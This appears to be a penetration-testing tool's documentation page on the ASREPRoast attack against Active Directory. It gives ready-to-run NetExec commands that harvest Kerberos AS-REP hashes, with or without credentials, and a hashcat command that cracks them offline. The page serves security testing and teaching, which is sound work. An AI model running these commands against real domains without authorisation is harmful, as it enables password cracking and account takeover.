ASREPRoast

Retrieve the Kerberos 5 AS-REP etype 23 hash of users without Kerberos pre-authentication required

You can retrieve the Kerberos 5 AS-REP etype 23 hash of users without Kerberos pre-authentication required if you have a list of users on the domain

Without authentication

The ASREPRoast attack looks for users without Kerberos pre-authentication required. That means that anyone can send an AS_REQ request to the KDC on behalf of any of those users, and receive an AS_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline. More detail in Kerberos theory.

nxc ldap 192.168.0.104 -u harry -p '' --asreproast output.txt

Using a wordlist, you can find wordlists of username here

nxc ldap 192.168.0.104 -u user.txt -p '' --asreproast output.txt

Set the password value to '' to perform the test without authentication

With authentication

If you have one valid credential on the domain, you can retrieve all the users and hashes where the Kerberos pre-authentication is not required

nxc ldap 192.168.0.104 -u harry -p pass --asreproast output.txt

Use option kdcHost when the domain name resolution fail

nxc ldap 192.168.0.104 -u harry -p pass --asreproast output.txt --kdcHost domain_name

Cracking with hashcat

To crack hashes on the file output.txt with hashcat use the following options:

hashcat -m18200 output.txt wordlist

Example

Forest machine is a good example to test ASREPRoast with NetExec

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Ressources

Kerberos (II): How to attack Kerberos?Tarlogic Security

AS-REP Roasting | Red Team Notesired.team

AS_REP Roastinghackndo